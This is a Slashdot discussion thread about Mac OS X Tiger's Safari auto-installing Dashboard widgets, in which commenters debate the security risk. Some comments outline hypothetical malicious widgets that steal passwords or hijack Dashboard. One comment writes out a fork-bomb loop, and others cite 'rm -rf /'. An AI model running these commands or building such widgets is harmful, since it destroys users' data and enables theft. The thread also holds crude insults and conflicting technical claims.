      What was Apple thinking? I'll tell you. They were thinking "Let's put the confirmation dialog in Dashboard." That's it. Dashboard asks if you want to run any new, unverified widget the first time. It's a convenience to auto-install, because most people don't know how (and shouldn't have to) and just want it to work. THERE IS NO RISK IN MOVING A WIDGET TO THE WIDGETS FOLDER.

      Move along, nothing to see here. Just a troll or an idiot who reacted without thinking.

    32. Re:Firefox asks what to do by Anonymous Coward · · Score: 0

      Installation == execution in my book.

      Then you're a fucking idiot. So if any web page auto-downloads a file, that file goes to the Desktop and is viewable. And in the case of any ordinary program, is executable. It's been "installed" on the Desktop, and therefore has been "executed"??? What a moron.

    33. Re:Firefox asks what to do by Anonymous Coward · · Score: 0

      The fact that a downloaded file gets moved to a different (convenient) place on the hard drive is insecure? Even when you still have to (1) click on the widget to even run anything and (2) click OK on the scary confirmation dialog warning you about running unverified code? That's insecure???? Wow, you are a fucking idiot.

      I guess the only secure OS is one that won't download or run any programs.

  5. widgets limited by RobertTaylor · · Score: 4, Informative

    this page at Apple's Developer Connection says that a 'widget' cannot ask for any resources or do anything to the filesystem outside of the widgets bundle.

    1. Re:widgets limited by ender81b · · Score: 5, Insightful

      True, true. But hasn't apple learned anything from MS? Automatically running/installing *anything* from the internet is a bad, bad idea. And a widget could, in theory, do things like make widget pop up ads, revolving goatse/tubgirl widget, etc.

      Basically, bad apple bad. Fix.

    2. Re:widgets limited by Anonymous Coward · · Score: 0

      hmm maybe that's why it's called a security hole...do you think other holes are written in the dev manuals!?

    3. Re:widgets limited by Anonymous Coward · · Score: 2, Interesting

      They can take up RAM.

      And in fact they often take up lots and lots of RAM.

      A widget forkbomb wouldn't be so hard I don't think.

      Widgets shouldn't be able to install this way.

    4. Re:widgets limited by antibryce · · Score: 5, Interesting


      True, but widgets can run external programs if certain permissions are set. The most insane part is that the widget itself sets the permissions it's allowed to have. Putting a key in the Info.plist file with "AllowFullAccess" set to "Yes" will allow the widget to run anything, access the network, etc. Basically at that point it's a full featured app. How hard would it be to make a widget that's invisible but periodically queries Safari's browser history, or songs played in itunes, or do a spotlight search for "password" and email the results to some guy in Russia? The widget could even be invisible to the user, with a 1x1 transparent gif as it's screen.

      It seems really really dumb in this light to have Safari not only automatically download zip files, but uncompress them and if it finds a Widget bundle inside to install it. All without user intervention.

    5. Re:widgets limited by zkn · · Score: 1

      It may be limited but as it is shown, it's still capeble of both being installed without your knowlage, and after that installing varies other widgets by sending you to webpages when you try to view dashboard.
      Not a serius security treat or anything, but very annoying and very IE like.
      If you made a simple "ring" of widgets with names similar to the standart widgets you could succede in making the average user reboot several times just to remove it(Reminds me of MS spyware).

    6. Re:widgets limited by taybin · · Score: 2, Interesting

      How would you suggest they "fix" widgets to keep them from pulling offensive images? I can't think of a reasonable way (and I don't consider a blacklist reasonable) that wouldn't cripple the functionality.

    7. Re:widgets limited by ender81b · · Score: 4, Insightful

      I meant they should fix it in not allowing an untrusted remote application to be downloaded on a local computer with no interaction from the user.

    8. Re:widgets limited by yardbird · · Score: 1

      Yes, and there are multiple levels of "dumb". Not only is it installed automatically, but there is no way to uninstall in the GUI. All in all, this is the weakest thing I've seen from Apple in a while.

      --
      Free, legal music for iTunes users.
    9. Re:widgets limited by Ilgaz · · Score: 2, Informative

      The software which they didn't steal :) is a very advanced application in fact. I tried it myself just recently and for windows people out there, Konfubulator XP has shipped, give it a try until it gets this time into longhorn *g*

      Asked myself why such advanced coders give plain sit,sitx,zip files for installing manually to widgets directory (or anywhere) and require user to double click it to launch.

      Now I had my answer ;)

    10. Re:widgets limited by Squareball · · Score: 1

      But you would only see the popup when you go to Dashboard. Widgets basically stop running when you leave dashboard and start up again when you enter dashboard. I do agree that this is a concern however. I never understood why apple sets to default "Open safe attachments" in Safari. I understand that it helps the less experienced but it also creates a bit of a security problem IMO.

    11. Re:widgets limited by antibryce · · Score: 1


      Dashboard feels like it was really rushed out the door in general. Everyone I know who upgraded to Tiger had to go through a reboot to install their first widget, and I've managed to crash Dashboard several times now just by trying to write a simple widget. I agree that Apple didn't do it's best work here (but I'm hopeful they can get it cleaned up, because outside of the bugs it's extremely handy.)

      Although it's still better than the Mail.app UI changes they made (wtf were they thinking?!?)

    12. Re:widgets limited by tyagiUK · · Score: 1

      Almost as scary as an "invisible" keystroke logger or spotlight hijacker is the possibility of your Dashboard becoming a battleground for full-screen adverts from auto-installed ad-widgets. Close the widget and it auto-starts a secondary one in its place. Rinse and repeat.

      Glad I've stuck with 10.3 for now.

      --
      Contribute to the online videogame encyclopedia: GamerWiki
    13. Re:widgets limited by rapidweather · · Score: 2, Informative
      Until they fix it, take a look at this Mac LiveCD linux.

      That ought to be a lot of fun, in addition to providing a way to run another OS on your Mac.

    14. Re:widgets limited by Ilgaz · · Score: 2, Interesting

      A lot of companies/coders fixed it but just years ago, a malicious jpeg or gif header (can't remember) could rape your application and machine just by stating its a 20.000*10.000 resolution.

      No elite asm code, nothing at all. Just a header.

    15. Re:widgets limited by Anonymous Coward · · Score: 1

      Are there really people whose sole purpose is to post links on slashdots about linux live cd's and such that have nothing to do with the article?

    16. Re:widgets limited by Orgazmus · · Score: 1

      Yes. There also is a breed of slashdotters whose sole purpose is to complain about them.

      And then, there are people like me :\

      --
      The system had the verbosity of HTML combined with all the readability of compiled assembly viewed as bitmap images
    17. Re:widgets limited by Anonymous Coward · · Score: 1, Interesting

      It should ask the user each time he installs a widget. Seriously how many widgets do you install each day? Just prompt "Do you want to install widget? [Ok][Cancel]*"

      Copyright (c)1984-2005 Microsoft Corporation. All rights reserved.
      *United States Patent Application: 0050091614

    18. Re:widgets limited by Anonymous Coward · · Score: 1, Funny

      And then, of course, come the inevitable vulgar ACs, fucktard.

    19. Re:widgets limited by TMW2N · · Score: 1

      um, i've installed 5 different widgets so far without a reboot. ive had the machine off once, though there was electrical work in my building that would last longer than my UPS run time.

      --
      As you slide down the bannisters of life, may the splinters never point the wrong way
    20. Re:widgets limited by NanoGator · · Score: 1

      So... am I gathering from this that *nix style permissions don't completely prevent malicious apps from running? I ask because I sure hear this argument a lot.

      --
      "Derp de derp."
    21. Re:widgets limited by ZeroZen · · Score: 1

      The widget isn't installing anything, it's the automatic installation of a widget which is the problem here.

    22. Re:widgets limited by Anonymous Coward · · Score: 0

      Automatically running/installing *anything* from the internet is a bad, bad idea.

      Bye bye, Javascript.

    23. Re:widgets limited by Yakasha · · Score: 1

      Uh, no it doesn't. It says that a 'widget' CAN ask for ANY resources. The user has one chance to say yes or no. After that, if the user says ok, the widget is all-powerful.

    24. Re:widgets limited by NMerriam · · Score: 1

      A widget forkbomb wouldn't be so hard I don't think.

      The question is, how would anyone ever notice? :)

      --
      Recursive: Adj. See Recursive.
    25. Re:widgets limited by Tim+Browse · · Score: 1

      Well, they added NT-style ACL permissions in Tiger, so that's probably to blame for this.

      I kid, I kid!

    26. Re:widgets limited by mmkkbb · · Score: 0

      is that twenty thousand by ten thousand, or 20 with 5 significant digits by 10 with 5 significant digits.

      --
      -mkb
    27. Re:widgets limited by Anonymous Coward · · Score: 0

      And then, of course, come the inevitable vulgar ACs, f**ktard.

      Like yourself and your hypocritical vulgar potty mouth?

    28. Re:widgets limited by trans_err · · Score: 1

      The widget, by default, isn't installed automatically. I'm running Safari on 10.4, and as per any other widget download, Safari kindly asks me if I want to continue downloading the Widget before it is actually installed. Is this great? No. Will clueless users still hit yes? Maybe-- I don't know many users (even lusers) that would say "Yes" I want to run this app, when they never requested one to be downloaded in the first place.

    29. Re:widgets limited by Arrgh · · Score: 4, Interesting
      It's not a bad idea per se to automatically download and run stuff from the Internet, but any software designed to do so had better be designed and implemented properly. The dozens (hundreds?) of "cross-site scripting" bugs that have surfaced in popular browsers in the past few years are evidence that this is rarely done well. Java's 10 year old sandbox design has been quite successful, and Flash has followed a substantially similar design.

      Unfortunately, code signing, as currently implemented and (mis)understood by users, is an all-or-nothing proposition. There are certainly legitimate uses for privileged mobile code, but most users don't really read or understand security warning dialogs, they just think "I just clicked the Start Game button, and now it's asking me if I really want to Start the Game. How stupid."

      Marimba actually came up with a good partial solution ages ago. When their framework loaded and executed a Java app, the framework would closely manage exactly what resources could be exploited by the app. Each application's ability to read and write files was restricted by default to its own tiny corner of the filesystem, and the amount of space it could occupy with its files was constrained as well.

      Note that Java's security manager infrastructure has allowed these sorts of fine-grained controls since 1.2 (circa 1998), but no one to my knowledge has yet found a way to effectively communicate to a user:

      • what resources a given piece of mobile code will want to exploit;
      • what the risks of running it might be;
      • some assurance that the code is published by someone they trust;
      ...While maintaining some degree of user-friendliness. It's a tough problem.

      MSIE's concept of local policies set according to centrally defined security zones was a step in the right direction; it's too bad its development stalled when the Browser War was "won."

    30. Re:widgets limited by Cecil · · Score: 2, Funny

      > > And then, of course, come the inevitable vulgar ACs, f**ktard.

      > Like yourself and your hypocritical vulgar potty mouth?

      Of course, we can't forget the "joke went *whooooosh* RIGHT over my head" crowd! Thanks for reminding us!

    31. Re:widgets limited by Anonymous Coward · · Score: 0

      I do not think you know what "unix style permissions" means. while(1) { malloc(1000); fork(); } will do bad things on any OS. Some operating systems, such as solaris or debian, have mechanisms in place to shut down a program behaving in this fashion before it becomes a problem, but this does not necessarily have to do with them being "UNIX".

    32. Re:widgets limited by Jeffrey+Baker · · Score: 2, Informative

      The bit about widgets stopping is completely false. You can connect to native code (or Java code) from your widget, and the native/Java code can do all types of things, even when the widget is off-screen.

    33. Re:widgets limited by Anonymous Coward · · Score: 0

      It seems really really dumb in this light to have Safari not only automatically download zip files, but uncompress them and if it finds a Widget bundle inside to install it. All without user intervention.

      Yes, but Dashboard asks the user for permission before it runs them. And if the widget doesn't put those keys in its Info.plist, it can't do the operations that they enable.

    34. Re:widgets limited by Narcissus · · Score: 1

      Not knowing the exact problem, I would guess that it was twenty thousand by ten thousand, where the library that handles the image would then allocate a huge amount of memory to read the image into...

    35. Re:widgets limited by EddWo · · Score: 2

      It says the widget gets its permissions from it .plist file. That file is inside the widget bundle so it can be modified by the widget without asking for elevated permissions.

      If the widget is added without requiring permissions, but as it's first it act modifies its own plist file, the next time dashboard is run it is given permissions without asking the user since it is already added to the dashboard.

      Thats the way it seems to work anyway.

      --
      "Taligent is still pure vapor. Maybe they'll be the last who jumps up on Openstep... "
    36. Re:widgets limited by Anonymous Coward · · Score: 0

      As an ADC member - I submitted this as a BUG REPORT, and chastized apple 6 ways from Sunday on their very stupid decision to allow the AutoInstallation of ANYTHING....

      Pssst! Please don't tell the Woz.... he'll have a field day with this.

      Guess I'm going to hold off installing Tiger until I can get confirmation Apple is addressing this issue... SHAME SHAME on them. I would have thought Steve Jobs has learned his lesson from Bill Gates, but I guess they are not talking these days...

      -ac

    37. Re:widgets limited by Elliot+Anderson · · Score: 2, Insightful

      As for hiding the widget using a 1x1 transparent GIF, it would be instantly noticible when you clicked the Widget Management button (the little circle with an x in it in the lower left corner). When it is activated and the widget drawer is open, all of the widgets have their own "Close Widget" button that hovers a few pixels away. So it is pretty much impossible to hide a widget without it becoming somewhat noticible.

    38. Re:widgets limited by MuckSavage · · Score: 1

      If any of these keys are present in your information property list file and it's located outside of /Library/Widgets/, a dialog is presented to users upon your widget's first load. The dialog asks them whether or not they want to use your widget. If the request is approved, your widget is loaded and granted access to the resources that it requested. The request is not repeated on subsequent loads if approved. If the request is denied, your widget is not allowed to load. If your widget is loaded again, the request is made to the user again.


      So basically, any widget not in the root library/widget folder will get a dialog asking if the widget can be loaded. If you click the "ok" button, said widget has access to the filesystem, network services, and command line tools.

    39. Re:widgets limited by astrosmash · · Score: 1
      True, true. But hasn't apple learned anything from MS? Automatically running/installing *anything* from the internet is a bad, bad idea.

      It seems there's some misinformation about how widgets are "installed" and executed.

      By default, Safari and Mozilla (on Mac and Windows) download files directly to ~/Desktop. When Safari downloads a widget, it is placed in ~/Library/Widgets instead of ~/Desktop. That's the extent of the installation. Nothing is executed. To execute the widget, the user must open Dashboard, find the new widget and explicitly start it.

      It's not much different than the websites that automatically download malicious applications to the user's Desktop (or download directory)

      And this business about not being able to uninstall widgets is complete garbage. To uninstall, just delete it from ~/Library/Widgets. There's no reboot involved; Dashboard doesn't "eventually" find out it's been deleted, it finds out immediately. And if a widget is misbehaving you can kill it like any other application.

      Personally, if a website is going to try to download a malicious application to my computer I will much prefer that they use a Dashboard widget because 1) Widgets are limited in what they can do, and 2) they're downloaded to ~/Library/Widgets instead of ~/Desktop, where they will be gleefully ignored. If it was actually downloaded to my desktop (like in Firefox) I would be more likely to inadvertently click and execute it.

      That said, I suppose that it would probably be a good idea for Safari to prompt before accepting a widget, simply because it seems people don't understand what they are or how they work (Note that Firefox does not prompt before downloading a widget or application to the user's desktop. Is that any more or less a security risk?)

      --
      ENDUT! HOCH HECH!
    40. Re:widgets limited by MuckSavage · · Score: 1

      Oh, I meant to add as well, NOT FUCKING GOOD.

      Some commands widgets have access to after approval:

      Access to files across the file system; limited by the user's permissions.

      Access to the file system, Web Kit and standard browser plug-ins, Java applets, network resources, and command-line utilities

      Access to Web Kit and standard browser plug-ins, such as QuickTime.

      Access to Java applets.

      Access to any resources that are not file-based, including those acquired through the network.

      Access to command-line utilities using the widget script object.

      Specifies a widget plug-in.

    41. Re:widgets limited by Exodious · · Score: 2, Interesting

      I'm running Safari on 10.4 as well, and I tried this.

      If I have "Open 'safe' files after downloading" checked, Safari downloads, extracts, and installs the widget without asking.

      If I have "Open 'safe' files after downloading" unchecked, Safari just downloads it.

      Nowhere am I asked during this process if I want to install it. I'm curious as to what's different on your machine that it asked you.

    42. Re:widgets limited by mithras+the+prophet · · Score: 1

      Ah, but what if the icon itself looked just like the Address Book widget, or the Sticky Note widget? And to the user, it acted exactly the same? The user might think, "Huh, funny, there's two Address Book icons now", but would probably write it off as a glitch if it appeared to operate normally. In the meantime, your passwords are being mailed to Russia...

      --
      four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
    43. Re:widgets limited by Anonymous Coward · · Score: 0

      The dozens (hundreds?) of "cross-site scripting" bugs that have surfaced in popular browsers in the past few years are evidence that this is rarely done well.

      Cross site scripting bugs are where a badly-coded web application allows attackers to insert script onto the page for other users. Basically, it's a shortcoming of the server-side coding. They can be exploited by simply including goatse images on the page too, without any Javascript or anything.

    44. Re:widgets limited by mithras+the+prophet · · Score: 1
      And this business about not being able to uninstall widgets is complete garbage. To uninstall, just delete it from ~/Library/Widgets.

      Yes of course that's how it's done, but strangely Apple's help documentation states: You cannot remove widgets from the Widget Bar or change their order. You can read the pertinent Help page at:
      file:///Library/Documentation/Help/MacHelp.help/Co ntents/Resources/English.lproj/pgs/mh2037.html
      Clearly they're not doing their computer-novice users any favors here.

      And this is different than downloading a malicious program to the Desktop or Downloads folders, because I expect things to download there. It's more like downloading a malicious program and automatically copying into /Applications/, where I certainly do not expect to have things downloaded.

      And as for inadvertently clicking, do see my rather over-exuberant example exploit page, which fills your Widgets Bar with widgets that look just like the Apple ones.

      I agree it's not the worst exploit in the world, because it does require a small degree of user intervention. But the look-alike widgets show that it won't take a very conscious user intervention -- not even clicking `okay' to some vague warning, or double-clicking an unfamiliar file.

      --
      four nine eighteen twenty-7 thirty-nine forty-7 fiftyeight sixty-nine seventy-9 eighty-8 one-hundred-and-nine one-twenty
    45. Re:widgets limited by Anonymous Coward · · Score: 0


      1.) No, it doesn't. I just clicked the link in the article. The widget is installed with no dialog for the user to give permission.

      2.) If I write a widget that I want to be able to do anything, why in the world would I limit it's permissions? The developer decides what permissions the widget runs with.

    46. Re:widgets limited by Anonymous Coward · · Score: 0

      "I agree it's not the worst exploit in the world, because it does require a small degree of user intervention. But the look-alike widgets show that it won't take a very conscious user intervention -- not even clicking `okay' to some vague warning, or double-clicking an unfamiliar file."

      Whatever.

    47. Re:widgets limited by andreMA · · Score: 1

      Well, it's not as if anyone could have foreseen this, is it?

    48. Re:widgets limited by Anonymous Coward · · Score: 0

      Why would you post a link that consists of people making you look like an idiot?

    49. Re:widgets limited by patio11 · · Score: 1
      It never ceases to amaze me that people say "Ah, no, security feature X will save us after the exploit allows arbitrary code execution", in spite of literally decades of experience with the fact that the first thing the better exploit strains will do is disable X. Running arbitrary code from the Internet with privilege escalation possible (described in a comment a bit above me) *without any user intervention whatsoever* is just plain inexcusable. On a scale of security flaws from 1-10 in severity, thats a 76.

      Incidentally, little circles in the lower left hand corner don't really help the user base at large, in much the same way as absence of little locks in the lower right corner don't stop www.payypal.com phishing attempts.

    50. Re:widgets limited by drsmithy · · Score: 1
      I don't know many users (even lusers) that would say "Yes" I want to run this app, when they never requested one to be downloaded in the first place.

      You haven't been paying much attention to the last few years of malware outbreaks on Windows, then ?

    51. Re:widgets limited by Anonymous Coward · · Score: 0

      1.) No, it doesn't. I just clicked the link in the article. The widget is installed with no dialog for the user to give permission.

      I haven't tried the linked widget, but I'm guessing it doesn't use the functionality that you have to ask for in an Info.plist.

      2.) If I write a widget that I want to be able to do anything, why in the world would I limit it's permissions? The developer decides what permissions the widget runs with.

      Yes, but the user decides whether it gets to run at all if the developer writes the widget to run with the elevated permissions (by putting those keys in Info.plist). If the developer doesn't put those keys in Info.plist, Dashboard won't let the widget do the things that they enable (e.g. access the filesystem outside of its bundle).

    52. Re:widgets limited by CausticPuppy · · Score: 1

      Apple's Developer Connection says that a 'widget' cannot ask for any resources or do anything to the filesystem outside of the widgets bundle

      But a widget can open a new page in Safari. In fact, it can do that automatically without you clicking the widget. And, when this happens, the dashboard is automatically closed.

      The impractical upshot to all of this is that when you try to access the dashboard, the evil widget immediately sends Safari to some other page and then immediately closes the dashboard.

      So therefore,

      1) You can no longer use the dashboard for your other widgets
      2) You can't even leave the dashboard open long enough to remove the evil widget which installed itself there automatically without your permission

      So this leaves the capability for something that not even Windows users get to enjoy: dashboard hijacking.

      --
      -CausticPuppy "Of all the people I know, you're certainly one of them." -Somebody I don't know
    53. Re:widgets limited by ScrewMaster · · Score: 1

      Look, this is the same problem that Microsoft suffered from. You try to make things as convenient for the user as possible, so that stuff just works out of the box. Apple, if anything, has based their business model around the fact that things "just work". The bulk of users of any operating system will never figure out how to enable (or, for that matter, disable) most of the features of their OS. In that context, it makes sense to just leave everything on and let the smart user turn off what he doesn't need. And this was a fabulous idea until the Internet came along, connecting everyone to anyone ... when suddenly the price of convenience meant giving up control of your machine to somebody else. All OS vendors are walking something of a tightrope right now, trying to balance off usability for the novice (Apple's stock in trade) and security. It's not always obvious which way to jump.

      --
      The higher the technology, the sharper that two-edged sword.
    54. Re:widgets limited by Anonymous Coward · · Score: 0


      Actually it does use the at the very least the AllowSystem key, which allows it to run command-line utilities.

      You are missing the point entirely here. Safari does not prompt the user. At all. The widget gets installed after being downloaded with no prompting of the user. If I were a malacious coder I could put a nice calculator icon on it, name it FancyCalc!, and put the AllowFullAccess key in the Info.plist file. At that point all it takes is for someone to go to my website. The widget gets installed and the next time they're looking through their dashboard widgets they say "oh neat, a better calculator!" and drag my widget onto their Dashboard. Then my widget goes out and sends me all their files.

      So let's review: Safari does NOT prompt the user. That's the crux of this security issue. In addition the Info.plist file is created by the developer, completely erasing any and all security. How exactly will it keep a spyware author or phisher from putting malicious code on your Dashboard? Answer: IT WON'T!

    55. Re:widgets limited by Anonymous Coward · · Score: 0

      So let's review:

      Moron number 89373943 - you - has no fucking clue how Dashboard works - but feel it is your opportunity to run your mouth off because you see this as some opportunity to 'say bad shit about Apple'

      Like every other bogus security story about Apple an endless stream of clowns try to claim remote code is getting executed without any user interaction. That claim is repeated disproved, although the diehard MS/'I hate teh Apple' crowd pretends not hear the info.

      Then another group of clowns - you - jump in later trying to make the same old 'trojan can do anything' arguments A calendar app that rm -rf / OMFG!!!!

      Just give a fucking rest idiot. Anyone on any system can make a trojan that looks and does something different.

      BFD.

      Just go the fuck away.

    56. Re:widgets limited by cmacb · · Score: 1

      Apple doesn't charge an arm and a leg for OS updates like MS does. Apple just charges an arm. Of course they do new versions more frequently than MS has, but the principle is the same:

      We don't think our users are willing to pay a "Subscription" fee to use our software, so we have to make our money with new releases. Nobody would pay for a new release that LOOKS exactly like the old release so we have to change that look with each new release even if the results starts to look like clutter.

      I for one would love to pay a "leave me the fuck alone" fee to Apple so that I continued to get updated version of Safari, bug fixes, and (at my option) a new feature or two from time to time. I really don't want to pay to update my OS once a year, especially when it looks like the same attention to detail that goes into a new Windows release went into this thing.

      Putting Debian Linux on my new Powerbook will probably make it seem about twice as fast (that was my experience with the iBook). That option looks better the more I hear about the latest cat from Apple.

    57. Re:widgets limited by Kesh · · Score: 1
      Yes of course that's how it's done, but strangely Apple's help documentation states: You cannot remove widgets from the Widget Bar or change their order.

      There's nothing strange about it. it just means you can't drag the items off of (or around in) the Widget Bar. That's different from taking the widget out of its folder completely.

    58. Re:widgets limited by BroncoInCalifornia · · Score: 1
      It does look like this Dashboard thing is a *Microsoft-esque copy of Konfabulator

      * more complicated and less secure than what it is copying.

      --

      Religion is the main cause of atheism.

    59. Re:widgets limited by mbaciarello · · Score: 1

      Resources or not, I would not be happy if the widget showed German scheisse pr0n from its own file bundle, each time I access the Dashboard screen...

      At least make it configurable! Guy who discovered the exploit, I'm looking at you!

      Seriously though, this exploit is a serious bug and shouldn't have made it through testing. However, notice, for one, the benefit from not having users permanently logged in as Administrators by default. Even in the worst case scenario of a user clicking "Ok" and allowing access to resources, damage would still be limited to that user's domain. More widespread access would require a full login for sudo.

      That's my biggest gripe with Windows - priviledge escalation can happen everywhere, but it's so damn easier to break a system when you have your users login as root by default... Has this changed with SP2?

    60. Re:widgets limited by BasilBrush · · Score: 1

      The widget is NOT automatically run. It is only automatically downloaded.

    61. Re:widgets limited by BasilBrush · · Score: 1

      As to it containing an offensive image - it could simply place that offensive image on the web page. You've already been exposed to it then.

    62. Re:widgets limited by BasilBrush · · Score: 2, Insightful

      It's not an application, it's a widget. On your preferred browser, are you asked everytime before a flash plugin is downloaded and executed? No, not unless you disable flash. It's similar with these widgets, except they are not executed automatically, only downloaded.

    63. Re:widgets limited by BasilBrush · · Score: 1

      The widget itself does not operate when Dashboard isn't up. It's there as a process, and no doubt your running application can connect to it. But on it's own it is simply waiting when dashboard isn't up, consuming zero cycles.

    64. Re:widgets limited by kevcol · · Score: 1

      By default, Safari and Mozilla (on Mac and Windows) download files directly to ~/Desktop. When Safari downloads a widget, it is placed in ~/Library/Widgets

      Hmm.. I haven't downloaded one widget via Safari that wasn't zipped and they just extract to the directory they are downloaded to. IOW, I have not d/l a widget that did not require my physically moving the file to ~/Library/Widgets

    65. Re:widgets limited by Ilgaz · · Score: 1

      Yes, it was memory allocation and really a bad experience for ones they tried on purpose :)

    66. Re:widgets limited by rokzy · · Score: 1

      for the 100000th fucking time, NOTHING IS RUN OR INSTALLED AUTOMATICALLY.

      unless by "installed automatically" you mean it unzips the zip file, in which case you need need the option set and to click the confirmation box since it contains an executable.

      and by "run automatically" you mean open dashboard, open list of widgets, drag widget to dashboard.

      for fuck's sake let's not compare this to IE/ActiveX which can allow arbitrary filesystem access just by clicking on a website's scrollbar (did they fix this?)

    67. Re:widgets limited by Anonymous Coward · · Score: 0

      How did you install Tiger?

    68. Re:widgets limited by Anonymous Coward · · Score: 1, Insightful


      Safari installs the widgets without prompting the user. Dashboard DOES NOT prompt the user the first time a widget is run IF the widget was installed via Safari. Widgets can run "rm -rf /".

      Which part of this makes me the idiot?

    69. Re:widgets limited by Anonymous Coward · · Score: 0

      I can't wait till the day someone deploys the viral hack to mess with DotNet's subscribed framework and library injection schemes....the Borg grand-daddy of automated installation

    70. Re:widgets limited by Goth+Biker+Babe · · Score: 1

      Only if run. Downloading just adds it to the dashboard toolbar which is reality like a specialised finder window.

    71. Re:widgets limited by teh+kurisu · · Score: 1

      "Do you want to install widget? [Install Widget][Don't Install Widget]"

      ...if you want to follow Apple UI guidelines.

    72. Re:widgets limited by Anonymous Coward · · Score: 0

      The part that it cannot do rm -rf /, you'd need root access to do that and on OS X, this means sudo, the user cannot be logged in to the system as root, by default. It sure can delete stuff in your home folder though.

      The solution is rather obvious actually... Just make Safari *not* execute the contents of the archives it automatically decompresses. It's that easy.

      -Alkis Tsapanidis

    73. Re:widgets limited by Anonymous Coward · · Score: 0

      "Safari installs the widgets without prompting the user. "

      Sigh.

      There you go again...

      Please dummy, spare us:

      http://www.apple.com/macosx/features/dashboard/

      Learn what the fuck 'install' means for dashboard widgets. HINT retard, it has nothing to do with execution.

    74. Re:widgets limited by Anonymous Coward · · Score: 0


      Ok fine, so it would require user intervention at that point. But to query Spotlight for passwords? Display pop-ups? Doesn't need root for any of these things.

    75. Re:widgets limited by Anonymous Coward · · Score: 0

      Install means it gets listed as a dashboard widget. I know wtf it means, and it would be trivial to slap a nice calculator icon on it and make it look just like the Apple calculator. Most users would just assume it to be a glitch.

      Maybe if you thought things out a little bit, rather than just blindly spewing crap you read on the internet you wouldn't have to resort to calling people retards to win an argument.

    76. Re:widgets limited by earache · · Score: 1

      If you think java is safe from this, you're wrong.

      Look around for the BlackBox trojan.

    77. Re:widgets limited by Anonymous Coward · · Score: 0

      Uh, you mean just like you can with any other trojan on any other OS?

      Give it a rest, your dreams of a real world OS X exploit have once again been dashed.

    78. Re:widgets limited by Anonymous Coward · · Score: 0


      Why does everyone assume I'm anxiuos for an exploit for OSX? I use OSX on all 4 of my macs (and I own zero PCs.)

      Let me put it to you this way:

      Windows PC: Executable downloads to the desktop, I see it sitting there, don't recognize it. Think twice about opening it. It's even still zipped up so I can't run it without REALLY thinking about it.

      Mac : Executable downloads, unzips, and INSTALLS ITSELF into the Dashboard, subtly giving itself the standard OSX Calculator widget icon, and the name Calculator. One day I think "what is 2 plus 2?" and I open the Dashboard to try out the calculator widget. 5 seconds later I'm getting pop-up ads every 2 minutes and my Inbox has been forwarded to a random hotmail account.

      I love OSX and Apple, but at the very least Safari should by default not open safe files. Barring that it should not install Dashboard widgets by itself ever.

    79. Re:widgets limited by Anonymous Coward · · Score: 0

      "INSTALLS ITSELF" ????????

      You are clearly full of shit. Nobody as stupid as you, 500 posts into a story and you are still repeating the same lie/misinformation, can possibly own or have ever owned a Mac.

      Go back to Windows's box dunce.

    80. Re:widgets limited by Anonymous Coward · · Score: 0


      Safari automatically installs the widget into ~/Library/Widgets

      Yes it doesn't automatically execute, but as I've said it allows it to easily masquerade as a regular OSX Widget.

    81. Re:widgets limited by flowerp · · Score: 1


      Yes, but a widget can be used to access web servers and the like. Imagine widgets being abused to track user behaviour, displaying unwanted pop ads or even porn (see the goatse widget posted by someone else)

      Autoinstalling widgets is just plain evil.

      --
      --- Eat my sig.
    82. Re:widgets limited by flowerp · · Score: 1


      Yes, but a widget can be used to access web servers and the like. Imagine widgets being abused to track user behaviour, displaying unwanted pop ads or even porn (see the goatse widget posted by someone else)

      And let's not forget that there *may* be undiscovered exploits to escape frp, this "sandbox", as for example existed for Java apps.

      Autoinstalling widgets is just plain evil.

      --
      --- Eat my sig.
    83. Re:widgets limited by mattkinabrewmindspri · · Score: 1

      -except that you don't remove widgets through Dashboard; you remove them by dragging the .wdgt file out of the ~/Library/Widgets folder, or by moving them using the command line.

    84. Re:widgets limited by Quevar · · Score: 1

      I thought widgets only ran when the computer was in Dashboard - otherwise they are not given any resources. So, it won't eliminate the issues, but it will severely mitigate them since it can't continuously monitor your activities. People need to be careful of whatever they download from the web, regardless of the OS they are on. I don't think that is ever going to change.

    85. Re:widgets limited by CausticPuppy · · Score: 1

      except that you don't remove widgets through Dashboard; you remove them by dragging the .wdgt file out of the ~/Library/Widgets folder, or by moving them using the command line.

      The point being that you shouldn't HAVE to do this.
      Sure, you can go delete the files from the widgets folder, edit the config XML, force restart the dashboard, or download a 3rd party widget manager, etc... but it's a glaring oversight not to make it intuitive to remove widgets from the widget bar.
      Also, removing the widget from the library without editing the proper XML file can cause the widget icons in the widget bar to be mismatched with the widgets they actually launch. I haven't tried this for myself, that's just from reading various reports around the net.

      --
      -CausticPuppy "Of all the people I know, you're certainly one of them." -Somebody I don't know
    86. Re:widgets limited by Anonymous Coward · · Score: 0

      Fortunately, he's not using or talking about a Windows machine.

    87. Re:widgets limited by Anonymous Coward · · Score: 0

      I wouldn't say it's really as bad as being made out.

      Yes okay you can install it automatically, but it WILL NOT run unless you drag it into the active Dashboard Area. It will just sit there dormant and unloaded.

      And most users won't run something they aren't sure of.

    88. Re:widgets limited by Altus · · Score: 1



      Actually... I have noticed that safari has warned me a couple of times that I have been downloading an executable. Every time it has happened it has been a widget... but it doesnt seem to happen every time.

      It never asks me if I am downloading from apples site, only if I am downloading 3ird party widgets from other sites... and even then it doesn't seem consistent... might have to do with how they are packaged.

      still... I dont think I like the fact that they are installed automatically, especially if the warning is going to be inconsistent.

      --

      "In America, first you get the sugar, then you get the power, then you get the women..." -H. Simpson

    89. Re:widgets limited by Anonymous Coward · · Score: 0

      You're deluding yourself. This "threat" is non-existent. Widgets act in their own application layer and cannot do what you are afraid of them doing. 10.4 is considerably better than 10.3.

      Your loss.

    90. Re:widgets limited by Arthur+Dent · · Score: 1
      If it were up to me, the system would give the following prompt:

      Do you want to install widget?
      [No] [Cancel]
    91. Re:widgets limited by Anonymous Coward · · Score: 0
      The widget does not run - ever - without the user of the computer choosing - by an affirmative action - to run it. I am become more and more convinced this entire "story" was planted by Microsoft and the Slashdot boards are run amok by Microsoft-paid turfies.

      Which part of this makes me the idiot?

      Um, the wrong part? The part where you gloss over the lack of auto execution of widgets? The part where you make up capabilities of widgets?

      I don't know. You tell me.

      Btw, I am on 10.4 and by default I was prompted in Safari when I downloaded a couple widgets last week. Here is the message I get - I just did it again to re-verifiy - when I download a widget in Safari:

      "[widget name].wdgt" contains an application.

      Are you sure you want to continue downloading "[widget anem].wdgt"?

      ( Cancel ) ( Continue )

